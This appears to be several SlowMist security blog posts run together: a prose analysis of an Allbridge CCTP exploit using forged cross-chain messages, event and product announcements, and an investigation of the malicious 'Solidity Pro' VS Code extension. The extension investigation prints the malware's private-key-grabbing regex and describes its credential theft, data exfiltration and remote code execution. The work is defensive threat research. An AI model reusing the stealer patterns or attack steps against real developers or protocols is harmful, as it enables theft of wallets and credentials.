目标链的 Circle TokenMessengerV2 负责铸币。MessageTransmitterV2 收到消息后，会根据消息头里的 recipient 找到要回调的合约。正常的 CCTP 消息会把这个地址设为目标链的 TokenMessengerV2 合约。它接着检查源端 TokenMessenger、代币、金额和接收地址，检查通过后才铸造 USDC。
Allbridge 的 CCTP 模块则处在这条流程的后面。它要把已经完成的入金整理成 Router 能识别的记录，Router 再把代币转给用户。到这里有个需要特别注意的地方：attestation 有效，不代表在源链实际发生过代币燃烧，不代表目标链已经执行了代币铸造，也不能代表 Router 已经真的收到对应 USDC。至此我们可以知道，Circle 的 sendMessage 是通用接口。任何人都可以调用它，填写一段跨链消息内容，让 Circle 对这段内容进行认证。调用这个接口本身不会自动销毁 USDC，也不会自动铸造 USDC。正常的 CCTP 转账还需要源链的 TokenMessenger 参与。它会先销毁 USDC，再生成带有燃烧代币信息的消息。而在本次攻击中，攻击者只构造了跨链消息，绕过了销毁 USDC 这一步。
根本原因
在 Allbridge 的 CCTPTokenMessenger 合约中，接收跨链消息的 receiveCctpMessage 函数缺少对 CCTP 消息头中 sender 字段是否与远端 TokenMessenger 相等的检查，recipient 字段也没有检查是否等于 Circle 的 TokenMessengerV2 合约，导致 MessageTransmitterV2.receiveMessage 会把转发的跨链消息交给攻击合约来判断代币是否铸造成功，由于在本合约中没有再检查 Router 的 USDC 余额在记账前是否是真实增加的，合约直接信任了攻击者构造的消息中的金额，最终将其记账成可付款余额（跨链消息的 hookData 中 messageHash 对应的 receivedTokenAmount 数值）。
此次在 hookData 中也没有提供任何检查保护。Router 在执行付款时会根据调用参数重新计算 messageHash，然后再查询这个 hash 先前所记录的内部入金余额。而攻击者可以在 Polygon 发消息之前，离线算好同一组参数对应的 hash，再把 messageHash 放进直接放入跨链消息的 hookData 中。这样一来，匹配的是攻击者自己创建好的内部记录，和真实资产结算无关。
因此攻击者可以在 Polygon 上直接调用MessageTransmitterV2.sendMessage 构造任意跨链消息，并等 Circle 对其签名后，使得 Base 链的 attestation 验证成功，该伪造消息被当作真实跨链收款，最终触发 Router 转出代币。
攻击步骤分析
1. 2026 年 7 月 26 时，攻击者先提前在 Polygon 上直接调用 Circle MessageTransmitterV2 合约的 sendMessage 函数。这是一笔通用跨链消息发送操作，交易产生了 MessageSent 事件，但实际没有发生 USDC 销毁操作。Circle 随后会对完整消息签发 attestation，这一步是按协议预期设计正常执行。
消息被填成了 CCTP 风格的数据。源域是 Polygon，目标域是 Base，声明金额为 1,000,000 USDC，feeExecuted 为零，destinationCaller 指向 Allbridge 的 CCTPTokenMessenger 合约。攻击者把消息头 recipient 设置为自己的合约，把消息正文中的 sourceSender 设置成配置里的远程 Messenger 地址，还把提前算好的 Router messageHash 放进 hookData，方便后续验证使用。
2. 这条恶意跨链消息创建后攻击者等待了约 24 天。因为 Base Router 是一个转发路由，平时不会长期持有大额流动性。直到 2026 年 8 月 19 日 这天，Allbridge relayer 刚把一笔由其他用户真实 CCTP 入金的 USDC 铸造到 Router，金额约为 191,112 USDC，Router 余额达到约 191,156 USDC。
这笔余额属于等待转给真实用户的跨链资金，攻击者等到了这极短的等待时机，真实入金发生后六秒，开始执行正式攻击交易。
3. 攻击合约会先调用 CCTPTokenMessenger 合约的 receiveCctpMessage 函数，传入 Polygon 交易中取得的消息和签名数据 attestation，其中 destinationCaller 检查和 sourceSender 检查均被通过（均由攻击者控制构造）。随后调用 Circle MessageTransmitterV2 合约的 receiveMessage 函数，在该函数中根据消息头的 recipient 回调攻击合约。攻击合约直接返回成功，并没有执行预期 Circle TokenMessenger 合约的铸造代币操作。而 Allbridge 也没有再次确认 Router 余额，也没有检查被回调的目标合约是否等于 Circle TokenMessengerV2，直接就把 amount - feeExecuted 写入 receivedMessages[messageHash]，生成了一笔 1,000,000 USDC 的内部 credit。
4. 由于攻击者先前创建的跨链消息中构造的目标金额是 1,000,000 USDC，而 Router 当时大约只有 191,156 USDC，所以攻击者先通过 Aave 闪电贷为 Router 提供 808,844 USDC，让余额暂时达到攻击者在假消息中声明的金额，满足后续的代币转出操作。
5. 攻击者随后调用 Router 的 receiveToken 函数处理收款结算。Router 根据调用参数先再计算一次 hash，得到的值与 hookData 里攻击者先前早已计算构造好的 messageHash 值相同。接着只检查 CCTPTokenMessenger 合约中的该 messageHash 对应的 receivedTokenAmount 记录是否大于零，就视为已经收到真实入金代币。由于 Router 需要收 0.1% 的手续费，所以在扣除手续费后将剩余的 999,000 USDC 直接转给攻击合约。
整个过程中 Router 只检查 CCTPTokenMessenger 合约中的 credit 是否存在，而并不会再次确认这笔 credit 是否对应链上同等规模的资产真实到账。
6. 攻击者窃取到 999,000 USDC 后，向 Aave 归还 808,844 USDC 本金和约 404.422012 USDC 闪电贷手续费。最终留下约 189,751.554381 USDC，完成攻击获利。这笔交易把 Router 的 191,156 USDC 基本清空。损失的主要部分来自刚刚到达、尚未转给用户的真实跨链入金。
有趣的是，Router 在上面所收取的 1,000 USDC 费用，这笔钱后来被其他攻击者复刻相同的攻击手法给取走。
总结
这次攻击事件的核心问题是 Allbridge 缺少对跨链消息合理性的检查。Circle 的 attestation 只能证明消息内容没有被篡改，并不能证明跨链消息真实触发过代币的燃烧或铸造操作。Allbridge 直接信任 CCTPTokenMessenger 消息中攻击者自行构造的金额、资金来源地址、和 messageHash，并记录成了可兑现的余额，把它当作真实的入金数量。
慢雾安全团队建议项目方修复时需要同时守住三条边界：
1. 消息头中的 sender 参数必须对应受信任的源端组件合约；
2. 消息头中的 recipient 参数必须限制为目标链的 Circle TokenMessengerV2 合约；
3. 只有在 Router 的 USDC 余额确实被铸造增加后才能建立可兑现的入金记录。
对跨链桥系统来说，最重要的是被合理认证检查的消息是跨链结算的必要条件，真实的资产到账才是 Router 最终付款的依据。

8 月 28 日，香港将迎来多场聚焦稳定币、智能体支付、AI Agent 与比特币基础设施的行业活动。作为专注于区块链生态安全的公司，慢雾(SlowMist) 将在香港举办并参与多场活动，结合自身的安全研究与实践，与行业伙伴围绕相关议题展开交流。
穿越迷雾，走向可信支付｜全球稳定币合规与智能体支付新前沿
时间：8 月 28 日 09:30–12:30
地点：香港 CAI Building
报名：https://luma.com/0c4fawzv
8 月 28 日上午，慢雾(SlowMist) 将携手 ME Group 在香港举办「穿越迷雾，走向可信支付｜全球稳定币合规与智能体支付新前沿」行业交流活动。届时，来自稳定币、支付、AI Agent、合规与安全等领域的生态伙伴将齐聚香港，围绕全球稳定币合规与应用、智能体支付的技术演进，以及可信支付体系的安全建设展开交流。
活动期间，慢雾(SlowMist) 将结合自身在区块链安全与链上风控领域的实践，分享对稳定币合规与智能体支付安全的相关思考。与此同时，还将发布 MistTrack 代理商计划，进一步推动 MistTrack 链上风控能力在支付及商业场景中的应用，为相关业务提供链上风险识别与调查支持。
Cypher Asia 智能加密金融峰会
时间：8 月 28 日 10:00–19:00
地点：香港数码港 3 座 15 F
报名：https://luma.com/l2anzcqz
8 月 28 日，「Cypher Asia 智能加密金融峰会」将在香港数码港举行。本次峰会由 Finchain、ME Group、Feixiaohao、Tenwings Accelerator 等机构主办，并由包括慢雾(SlowMist) 在内的多家机构联合举办。峰会将围绕监管合规、实体产业落地、资本融合等议题展开交流，连接传统金融与 Web3 生态，共同探讨数字资产行业的发展与创新。
峰会期间，慢雾(SlowMist) 创始人 Cos 将作为演讲嘉宾出席，并带来「加密世界里的灰犀牛与黑天鹅」主题分享。届时，Cos 将结合行业安全实践，分享加密世界中那些容易被忽视、却可能演变为重大风险的“灰犀牛”，以及难以预见的“黑天鹅”事件，并探讨行业如何进一步提升风险识别与安全防护能力。
AI x BTC - BTC Asia Side Event
时间：8 月 28 日 12:30–18:00
地点：香港 CAI Building
报名：https://luma.com/btchk26oc
8 月 28 日，AI x BTC - BTC Asia Side Event 将作为 Bitcoin Asia 2026 的官方边会之一，在香港 CAI Building 举行。本次边会由 OP_CAT Layer 主办，将围绕 AI Agent、比特币基础设施、BIP-110 等话题展开，并设置主题演讲与小组讨论。慢雾合伙人兼 CPO Keywolf 将出席本次边会并参与圆桌讨论，与现场嘉宾围绕 AI 与比特币生态的融合展开交流，分享对 AI Agent、比特币基础设施及安全等议题的观察。
从稳定币与智能体支付，到加密金融与数字资产安全，再到 AI Agent 与比特币基础设施，8 月 28 日，慢雾(SlowMist) 将与行业伙伴在香港展开多场交流，分享安全研究与实践，共同探索新技术与数字资产生态发展中的安全挑战。欢迎莅临活动现场，与慢雾安全团队面对面交流。
香港见！

背景
Solidity Pro 是一款面向 Solidity/Web3 开发者的 VS Code 扩展，对外定位为开发辅助工具，提供 Gas 查询、代币价格、代码片段和编译提示等功能，其 GitHub 仓库还曾宣传 AI Audit、Security Scanner 等安全能力。
在公开活动中，Solidity Pro 先后使用过 helper-beeps 和 web3devtoolsx 两个 publisher（发布者身份），对应的 Extension ID（扩展唯一标识）分别为 helper-beeps.solidity-pro 和 web3devtoolsx.solidity-pro。虽然发布身份发生了变化，但后续构建产物中仍保留旧 publisher、仓库地址和版权信息，表明两者之间存在直接的工程继承关系。
2026 年 8 月 6 日至 7 日，这两个 Extension ID 先后被加入 Open VSX 使用的恶意扩展控制列表。按理说，继续沿版本向后检查应该仍能看到相关恶意能力，但我们取得的 Solidity Pro 4.0.0（publisher：web3devtoolsx）却呈现出完全不同的结果：最终 bundle（打包后的执行代码）中只剩 Gas、代币价格、日志等普通功能，历史恶意版本中出现过的凭据采集、远程载荷下载、子进程执行和远程 VSIX 更新模块均已消失。
于是问题变成了：一个已经存在明确恶意历史的插件，为什么在后续版本中又变得“干净”？
本文将从 4.0.0 向前回溯 Solidity Pro 的版本与发布身份变化，分析两个历史恶意版本、GitHub Clean commit、publisher 迁移和公开活动时间线，并讨论仅根据当前版本判断 IDE 扩展风险可能产生的检测盲区。
本文分析基于静态证据，未运行样本或连接远端基础设施。
MistEye 响应
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台，集成了安全监控与情报聚合能力，为用户提供实时的风险预警与资产守护。
MistEye 对 helper-beeps.solidity-pro 与 web3devtoolsx.solidity-pro 两个发布身份及对应样本进行了关联梳理。结合静态去混淆、恶意能力交叉复核和公开平台时间线，提取了样本哈希、扩展 ID、危险请求路径与远程更新行为，用于 IDE 扩展供应链风险预警。
一、当前版本
要判断 4.0.0 为什么没有命中恶意代码，需要同时检查两个对象：本文取得的 4.0.0 样本，以及与其 bundle 一致的 GitHub 仓库状态。
VSIX 包里有什么。 本地重建的 4.0.0 包的最终 bundle 主要包含 ApiClient、GasTracker、PriceMonitor 和 Logger，网络访问集中在 Etherscan 与 CoinGecko。扩展在 onStartupFinished 或包含 Solidity 文件的工作区激活后，仅启动 Gas tracker、Price monitor 和 logger，并注册三个公开命令；compile 命令只显示一条 Hardhat/Foundry 提示，不实际调用编译器。在已检查文件和静态可达路径中，未发现历史版本中的凭据采集、远程载荷下载、子进程执行和远程 VSIX 更新四类恶意能力。
GitHub 仓库里还有什么。 4.0.0 包本身没有携带源码，因此我们进一步向 GitHub 回溯其公开工程。仓库中一个 package.json 版本回退为 v1.0.0、commit 95dce4f、提交信息为 "Clean release" 的提交，其 out/extension.js 与 4.0.0 bundle 均为 10,633 字节、SHA-256 一致。
该 commit 的 out/extension.js 同样只包含 ApiClient、GasTracker、PriceMonitor 和 Logger，激活与停用函数仅做初始化与清理。但同一 commit 的 src/ 目录却是另一番景象：src/telemetry/Web3Analytics.ts 仍在，文件头写着 "Sends install ping immediately, then scans for secrets"，内部包含 BIP39 词表、钱包凭据识别、WORKERS 外传配置和大规模文件搜集上限；src/services/AutoUpdater.ts 同样保留，定义了 30 分钟周期的版本检查与远程 VSIX 安装逻辑。
GitHub 仓库 (Clean commit 95dce4f)
├── src/telemetry/Web3Analytics.ts # 恶意采集工程源码仍在
├── src/services/AutoUpdater.ts # 远程 VSIX 更新源码仍在
├── .vscodeignore # 排除 src/**、scripts/**、*.ts
└── out/extension.js # 打包时可见的干净 bundle
恶意源码为什么没有进入 VSIX 包？这里存在两道边界。
第一道是执行入口：Clean commit 的 src/extension.ts 删除了对 Web3Analytics 与 AutoUpdater 的 import 和启动逻辑，esbuild 从该入口构建依赖图时，不再将这两个模块编入 out/extension.js。
第二道是包内可见性：.vscodeignore 排除了 src/**、scripts/** 和 *.ts，同时保留 out/**，因此残留的 TypeScript 源文件也不会以原始源码形式进入按该配置生成的 VSIX。v1.0.0 的提交信息写的是 "Clean release"，但恶意模块源文件未在该 commit 中删除或修改——最终交付物变干净了，工程内部的恶意模块仍可在后续源码或构建配置变更中被重新纳入。
二、历史恶意版本
既然当前版本和 Clean commit 的 bundle 均未发现原恶意模块，调查需要继续追踪 Solidity Pro 在两个发布身份下出现的历史版本。
Solidity Pro 并不是始终使用同一种恶意实现。在 helper-beeps 发布身份下取得的 2.4.1 与 web3devtoolsx 发布身份下取得的 3.4.0，展示了两套明显不同的执行方式：前者以延迟下载和远程代码执行为核心，后者以内置凭据采集和远程更新通道为核心。
2.4.1：延迟投递
在本文取得的 Solidity Pro 2.4.1 样本中（publisher：helper-beeps），扩展在 Solidity 文件或 Hardhat/Foundry 工作区中激活，telemetry 默认开启。激活后代码不会立即进入下载阶段，而是设置一段 24 至 48 小时的随机等待窗口：
MIN_DELAY_MS: 86400000,
MAX_DELAY_MS: 172800000
等待结束后，代码对 CI、GITHUB_ACTIONS、JENKINS_HOME、GITPOD_WORKSPACE_ID 等环境变量做存在性判断，命中即退出。随后对六个编码的主目录相对路径逐一执行 fs.existsSync 筛选，这些路径在该阶段只用于存在性筛选。
通过筛选后，代码依次尝试两个编码端点，向每个端点请求固定路径 /firmware。获得响应后校验长度，使用 crypto.createDecipheriv 以 AES-GCM 解密，将解密文本以受限权限写入临时目录的 .py 文件，再通过 child_process.spawn 以 detached 方式执行。约 60 秒后 unlinkSync 清理临时文件。未取得 /firmware 实际响应，二阶段具体功能未知。
3.4.0：凭据采集
Solidity Pro 3.4.0（publisher: web3devtoolsx）的 package.json 的 activationEvents 同时声明了 workspaceContains:*.sol 和 onStartupFinished。扩展可在 VS Code 启动完成后自动进入 activate()，不要求用户执行其公开命令。
默认配置 solidity-pro.telemetry.enabled=true 会创建并启动 Web3Analytics。README 声称仅收集匿名使用数据、不存储私钥或源码，但该模块实际执行的扫描对象覆盖了开发者信任域的核心资产：
钱包与签名材料：EVM 私钥、BIP39 助记词、keystore、Solana id.json、浏览器钱包扩展数据（MetaMask、Phantom、Coinbase Wallet、Rabby）。源码与发布凭据：GitHub ghp_/gho_/github_pat_ token、GitLab glpat-、.npmrc、PyPI token、.netrc、Git 凭据。云与基础设施：AWS access/secret/session key、Kubernetes config、Docker 认证、Azure、GCP 配置。项目与交互痕迹：.env 及变体、API key、AI 服务 token（sk-、sk-proj-、sk-ant-）、Shell 历史和主机信息。
EVM 私钥的正则匹配覆盖了 privateKey、PRIVATE_KEY、WALLET_KEY、DEPLOYER_KEY 等常见变量名和 64 位十六进制值：
var _0x4e0bcc = [
/["']privateKey["']\s*:\s*["'](?:0x)?([0-9a-fA-F]{64})["']/g,
/(?:PRIVATE_KEY|PRIVATEKEY|ETH_KEY|ETHKEY|WALLET_KEY|WALLETKEY|DEPLOYER_KEY|OWNER_KEY)\s*=\s*["']?(?:0x)?([0-9a-fA-F]{64})["']?/gi,
/(?:privateKey|private_key|ethKey|eth_key|walletKey|wallet_key)\s*[:=]\s*["'](?:0x)?([0-9a-fA-F]{64})["']/gi,
/(?:priv(?:ate)?[ _-]?key|secret)[:=]\s*["']?(0x[0-9a-fA-F]{64})["']?/gi
];
SSH 目录采集逻辑会枚举 ~/.ssh/ 中的候选私钥文件，读取内容并交给 extractSecrets 提取器。采集结果通过两条 HTTP 请求路径向外发送：文本 JSON 经 HTTPS 向混淆的 CFG.WORKERS 主机 POST /x，完整报告以 multipart/form-data 向同一组主机 POST /y。
与该采集链并行运行的还有 AutoUpdater。它在 activate() 中被无条件创建并启动，不依赖 telemetry 配置。启动后立即请求一次 /version，此后每 30 分钟轮询两个硬编码 Worker；只要响应里带有 version 和 url，代码就比对版本号、下载 VSIX、调用 VS Code 安装命令，再删除临时文件。
整条更新链没有任何完整性校验——更新器自身未实现哈希、签名、publisher 或证书固定。这意味着服务端可以在任意一次轮询中返回更高版本和下载地址，自行决定什么时候触发更新、投递哪个 VSIX。更关键的是，更新前只会弹出一个仅有 "OK" 按钮的通知，代码等通知流程结束后就继续安装，既没有真正的取消选项，也不读取用户的选择结果。
这类采集目标之所以危险，在于 IDE Extension Host 本身位于开发者信任域内部。Web3 开发机往往同时保存钱包材料、源码仓库凭据、包发布 token、CI/CD 和云平台配置，一次扩展供应链攻击可能同时跨越多个安全边界。
四类样本或版本的角色对照：
三、发布者迁移
Solidity Pro 的 2.4.1 与 3.4.0 并不属于同一个 Extension ID。前者由 helper-beeps 发布，后者则使用新 publisher web3devtoolsx。为什么还能把它们放在同一条调查线上？
初始 v3.4.0 commit fe794a2 的内部元数据直接回答了这个问题。package.json 声明 publisher: web3devtoolsx、版本 3.4.0，repository 指向 github.com/web3devtoolsx/solidity-pro。同一 commit 的 out/package.json 却保留 publisher: helper-beeps、版本 3.3.0，repository 指向 github.com/helper-beeps/solidity-pro。LICENSE 文件仍写着 "Copyright (c) 2026 Helper Beeps"。
两份 package.json 出自同一次提交，证明 Solidity Pro 在 web3devtoolsx 身份下的初始构建产物直接来自 helper-beeps 工程，代码或构建产物存在直接来源关联。
将构建产物继承关系与官方恶意标记时间线叠加后，publisher 轮换的模式更加清晰：
helper-beeps.solidity-pro 被加入官方 malicious 列表 (2026-08-06 14:27:24 UTC)
│ 8 小时 32 分 48 秒
▼
web3devtoolsx GitHub 账号创建 (2026-08-06 23:00:12 UTC)
│ 约 16 分钟
▼
新的 Solidity Pro v3.4.0 出现
│ 次日
▼
web3devtoolsx.solidity-pro 也被加入官方 malicious 列表 (2026-08-07 12:38:52 UTC)
四、Clean release
GitHub 初始 commit 提交恶意 v3.4.0 bundle 后仅 13 分 29 秒，同一仓库提交了版本回退为 v1.0.0 的 Clean commit。在这段极短窗口内，发布者还短暂发起并自行关闭了 Open VSX namespace claim（issue 无评论，由 web3devtoolsx 本人关闭）。
Clean commit 的修改精确集中在两类目标。执行面移除了 Web3Analytics 激活、AutoUpdater 启动、telemetry 配置、javascript-obfuscator 依赖和混淆构建步骤。产品表面移除了 AI Audit Engine、Security Scanner、100K+ badge 和夸大能力文案。版本号从 3.4.0 回退到 1.0.0。
这些变化集中出现在同一个名为 "Clean release" 的提交中。它直接移除了公开可达的高风险入口和部分显眼营销文案，使只检查新 bundle 的系统不再命中原恶意模块。清理并不彻底： package.json description 中的 "Trusted by 100K+" 和 "vulnerability scanner" 表述未被移除——最显眼的 badge 被删掉，若该 manifest 被实际打包并发布，能影响搜索结果和商店页面的元数据仍在。而如前所述，恶意源码仍完整保留在 src/ 目录下，只是通过 .vscodeignore 不进入最终包。
Clean release 改变的是最终交付物，而不是这个工程已经发生过的历史。
五、可信度包装
与版本变化几乎同时发生的，还有新发布身份的快速包装：web3devtoolsx 账号创建后约 16 分钟内，企业样式资料、六个知名项目 fork、产品仓库、成熟版本号和 100K+ 声明集中出现。这些信号集中出现，客观上会让新账号呈现较成熟的组织外观。
企业样式资料。 账号创建约 15 分钟后，Profile 已包含 "Web3 Dev Tools" 名称、公司字段、Zug 地点、官网、Twitter 链接、一个已上线产品和两个 "Coming Q3" 产品路线图。截至 2026 年 8 月 12 日复核，followers、following、gists 等长期活动指标仍为 0。
六个知名项目 fork。 账号在 13 秒内连续 fork 了 OpenZeppelin Contracts、Foundry、Hardhat、Chainlink、Uniswap v3-core 和 ethers.js。普通访问者会在主页看到熟悉的 Web3 项目名称，但 fork 只表示复制上游仓库，不代表贡献、合作或任何形式的背书。
版本标记与创建时间不一致。 仓库创建 8 秒后的初始提交同时携带 v2.4.1、v2.4.5、v3.2.3、v3.3.0 和 v3.4.0 五套版本标记，源码头部还声称 2025 年首次发布。这些版本和年龄标记与账号、仓库当日刚创建的公开历史明显不一致。
重复强化社会证明。 “100K+”同时出现在 repository description、 package.json、out/package.json、README badge、README 正文和构建输出中，是项目公开资料中反复强调的用户规模声明。现有材料无法独立验证这一数字的真实性，但这种表述与成熟版本号、企业化 Profile 和知名项目 fork 一样，共同构成了 Solidity Pro 对外展示的成熟产品形象。
这些宣传内容与前文已确认的实际代码行为形成明显冲突：README 声称不存储 private keys 或 source code，配置把 telemetry 描述为匿名使用数据，构建脚本把 javascript-obfuscator 的混淆过程称为 "privacy"。产品宣称 AI 审计、漏洞扫描和重入检测，但公开命令主要是查询 Gas、显示代币价格和一条通过 Hardhat/Foundry 编译的提示。
组织资料、知名 fork、成熟版本号、100K+、真实可用的小功能和隐私说明均会影响访问者对扩展的初步判断。每个元素单独看都可能正常，异常在于这些信号与恶意代码、快速时间线和旧 publisher 构建残留同时出现。
六、单版本检测的盲区
恶意代码可以删除，但版本历史、发布身份和工程来源不会自动清零。
把前五章的发现放在一起，Solidity Pro 呈现出一种值得平台和安全产品重视的模式：一个已经关联明确恶意历史的扩展名称和 publisher，通过发布未命中原恶意能力的新版本，可以让只检查当前构建的检测重新给出 clean、未命中或低风险的结果。
区分这种模式与正常安全修复，不能只靠新代码是否干净，还需要同时核对四个层面的问题：
哈希与当前 bundle 回答：这个文件现在包含什么。版本历史回答：这个扩展 ID 或 publisher 此前交付过什么。publisher 和代码来源回答：当前包与哪些已知恶意工程存在直接联系。当前与历史远程控制面回答：当前本地代码或历史版本是否允许服务器改变交付内容。
对扩展市场和安全产品而言，这意味着检测对象需要从"单个文件哈希"扩展到版本历史、publisher 变化、构建产物差异和远程控制面：
保存历史版本的哈希与解混淆结果；新版本移除大量危险模块时，应触发差异审查，而不是自动恢复信誉。关联旧 publisher 残留、代码相似度和构建脚本，建立代码或构建产物的来源关联。将周期 /version 检查、远端 URL 和临时 VSIX 安装记录纳入运行时监控。将下载量、stars 和企业样式 Profile 仅作为上下文，而不是安全背书。
总结
Solidity Pro 在 helper-beeps 和 web3devtoolsx 两个发布身份下均存在明确恶意实现：2.4.1 以本地随机延迟和环境筛选为前置条件，从远端下载加密 Python 并执行；3.4.0 在 VS Code 启动后自动触发凭据采集，通过 /x 和 /y 两条 HTTP 请求路径外传，同时保留由远端响应驱动的 VSIX 更新通道。初始 3.4.0 的 out/package.json、repository 和版权信息仍指向 helper-beeps，证明两个发布身份的构建产物存在直接来源关联。
GitHub Clean commit 的最终 bundle 移除了这些恶意模块，但仓库仍保留恶意模块源文件；本地重建的 4.0.0 包同样未发现原恶意模块。包含恶意入口和构建物的初始提交到 Clean commit 仅隔 13 分 29 秒，企业样式资料、六个知名 fork、产品仓库和成熟版本声明则在账号创建后约 16 分钟内集中出现。
这个案例最终说明的是：只按当前文件或当前版本判断扩展风险远远不够。恶意代码可以从最新 bundle 中消失，但历史恶意记录不会因此失效——一个干净的新版本，抹不掉同一名称和 publisher 此前交付过恶意代码的事实。
建议
安装过 helper-beeps.solidity-pro 或 web3devtoolsx.solidity-pro 的开发者应先隔离网络，并保全扩展目录、安装包副本、进程和网络日志，再禁用并卸载相关版本。随后检查 VS Code 进程树、临时目录中的 Python 文件、异常 VSIX 安装记录，以及代理日志中的 /firmware、/x、/y、/version 请求。若曾启用运行 Solidity Pro 3.4.0（publisher：web3devtoolsx），钱包私钥、助记词、GitHub/GitLab/npm/PyPI/AWS/Cloudflare/AI 服务及 CI/CD token 可能暴露。应从干净设备优先撤销或轮换相关凭据；加密资产应迁移至使用全新 seed 或私钥的钱包，不能只修改原钱包密码。若曾启用运行 Solidity Pro 2.4.1（publisher：helper-beeps），只要主机可能跨过该样本的延迟窗口，或实际运行时长无法确认，就应按潜在本地代码执行事件调查。企业安全团队应优先搜索 Extension ID、危险请求路径、已知 Worker、临时文件和异常进程树，再结合两个样本 SHA-256、扩展安装时间与 VS Code 进程网络记录确定受影响范围。重点检测 VS Code Extension Host 启动 detached Python、从临时路径安装 VSIX、读取高价值配置后发起 multipart HTTPS 等行为组合。扩展市场应对默认 telemetry 中出现凭据读取、远程下载、解密执行或绕过官方渠道安装 VSIX 的能力进行强制人工审核；保留历史版本并执行跨版本差异审查，避免后续未命中恶意代码的版本自动清除旧版本风险标签。
IOC
恶意文件
filename: helper-beeps.solidity-pro-2.4.1.tar.gz
SHA256: 7b53b1d93f46babc7415d898e17e71ffb6f3a3af3adb222f21c03adea8b30d50
filename: web3devtoolsx.solidity-pro-3.4.0.gz
SHA256: bcbaf774f9cea0b0131859b96ba0eeadfd5a49bba59302de1bcf3d884300d508
关于 MistEye
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台，通过 API 提供开源包生态的恶意活动检测与供应链风险预警能力。
本次行动涉及的全部恶意包及 IOC 已接入 MistEye 威胁检测引擎，开发者可通过 API 对项目依赖进行自动化检测，快速判定是否命中已知恶意包并获取处置建议。
📖 API 文档：https://app.misteye.io/api-docs
🛠️ MistEye-DepScan：https://github.com/slowmist/MistEye-DepScan轻量级 CLI 工具，一行命令扫描项目依赖与全局安装包中的已知恶意包，支持 npm / PyPI / Rust（Cargo）/ Go / RubyGems 生态
🛠️ MistEye-Skills：https://github.com/slowmist/misteye-skillsAI 编码助手安全技能包，在依赖安装与 URL 访问前自动触发 MistEye 安全检测
🛠️ MistEye-DNS-Guard：https://github.com/slowmist/MistEye-DNS-GuardRust 实现的本地 DNS relay，检测恶意域名与风险访问，识别钓鱼、C2 等网络威胁。
本文由 SlowMist 威胁情报团队结合 MistEye 威胁情报平台、SlowMist Agent AI 驱动分析编写，有任何问题欢迎咨询反馈。
参考链接：
[1] https://yeethsecurity.com/blog/2026-08-06-Solidity-Pro-WhiteCobra-C2-to-Telegram

近日，由慢雾(SlowMist) 打造的 MistTrack Agent 正式作为第三方 Agent 入驻 AgentOn。MistTrack Agent 专注于加密货币 AML 与链上调查，将链上资金追踪、风险分析等能力引入 AgentOn 平台，为用户提供更加高效、自动化的链上调查方式。
欢迎体验 MistTrack Agent：
https://agenton.me/agent/market/external/fe204dba-05d1-49c8-8659-03ca24988185
🎁 限时体验：每位用户可享 10 次免费调用，有效期 30 天。免费调用次数用尽或有效期结束后，将按照 AgentOn 的标准进行收费。
MistTrack Agent: 从资金追踪到风险分析
在加密货币 AML 与链上安全调查中，一笔资金的流转往往涉及多个地址、协议及区块链网络。Mixer、跨链桥、DEX Swap 以及多跳转账等复杂路径，需要调查人员在不同工具之间反复切换，逐步梳理交易关系、追踪资金流向并判断潜在风险。
MistTrack Agent 针对这一调查场景，将部分原本需要人工完成的工作交由 Agent 自动执行。用户只需输入一个钱包地址或交易 Hash，Agent 即可根据调查目标规划追踪路径，持续分析资金在多个地址及不同区块链之间的流转，并识别资金经过的 Mixer、跨链桥、DEX Swap 等协议及相关交易路径。
在资金追踪的基础上，MistTrack Agent 还可以结合调查结果进行风险分析，并将相关信息整理为可导出的结构化调查与合规报告，帮助用户进一步了解资金来源、流转路径及最终去向。
对于 AML、KYT、链上安全调查以及被盗资产追踪等场景，这种自动化调查方式可以减少在不同工具之间反复查询和重复分析的工作，也让原本依赖专业工具和调查经验的链上合规调查能够被更多用户使用。
长期积累的链上数据与威胁情报
要让 Agent 能够完成链上调查，除了自动化的分析能力之外，背后的链上数据、地址标签以及威胁情报同样重要。MistTrack 长期积累的链上数据、地址标签、实体信息与威胁情报，为 MistTrack Agent 的资金追踪与风险分析提供底层支撑。目前，MistTrack 已覆盖 4 亿+ 地址标签、1 万+ 已识别实体、19 条主流区块链网络、100+ Token 以及 18 种稳定币，并结合 OFAC、英国财政部（UK HMT）及其他制裁情报。
在实际调查中，地址标签和实体信息可以帮助了解相关地址及其关联实体，多链数据用于支持跨链资金追踪，威胁情报和制裁信息则为风险判断提供参考。通过关联这些信息，MistTrack Agent 可以进一步补充资金路径背后的地址、实体及风险背景，为调查人员分析资金流向和潜在风险提供更多参考。
慢雾(SlowMist) × AgentOn 战略合作的进一步落地
此前，慢雾(SlowMist) 与 AgentOn 已达成战略合作，双方将围绕 AI Agent 安全能力建设、安全评估及生态实践等方向展开合作。慢雾(SlowMist) 将自身在区块链安全、威胁情报和风险检测领域的积累，与 AgentOn 的 AI Agent Marketplace 生态进行连接，共同探索安全能力与 Agent 应用场景的结合。
此次 MistTrack Agent 正式入驻 AgentOn，是双方合作在产品层面的进一步落地。通过将成熟的链上调查与 AML 能力以 Agent 的形式提供给用户，MistTrack 将原有的资金追踪、风险分析等能力融入 Agent 工作流，让用户能够直接通过 Agent 完成相关调查任务。
写在最后
MistTrack Agent 入驻 AgentOn，是慢雾(SlowMist) 将链上数据、威胁情报与调查能力带入 Agent 场景的一次实践。对于 AML、KYT 及链上安全调查而言，Agent 不只是新的交互方式，也为链上数据、调查流程与分析结果之间的连接提供了新的载体。未来，双方将持续围绕 AI Agent 安全能力与应用实践展开合作，探索 Agent 在真实链上业务场景中的更多应用。

数字资产与人工智能技术的持续发展，正在推动支付进入新的应用阶段。一方面，稳定币正加速走出链上场景，深入支付、结算与资金管理等真实业务环节；另一方面，AI Agent 也正从辅助工具逐步走向能够代表用户与企业完成查询、决策、调用服务乃至发起交易的支付参与者。
当稳定币开始走向真实支付场景，合规如何真正落地；当 AI Agent 开始参与交易，如何建立安全、可信的交易机制，也成为行业需要面对的新问题。
为此，慢雾(SlowMist) 携手 ME Group，将于 8 月 28 日在香港举办「穿越迷雾，走向可信支付｜全球稳定币合规与智能体支付新前沿」行业交流活动。活动将聚焦全球稳定币合规与应用、智能体支付的技术演进，以及可信支付体系的安全建设，并邀请来自稳定币、支付、AI Agent 及合规安全等领域的生态伙伴齐聚一堂，共同探讨稳定币合规与智能体支付的发展方向。
时间：8 月 28 日 09:30 – 12:30
地点：香港 CAI Building
报名链接：https://luma.com/0c4fawzv
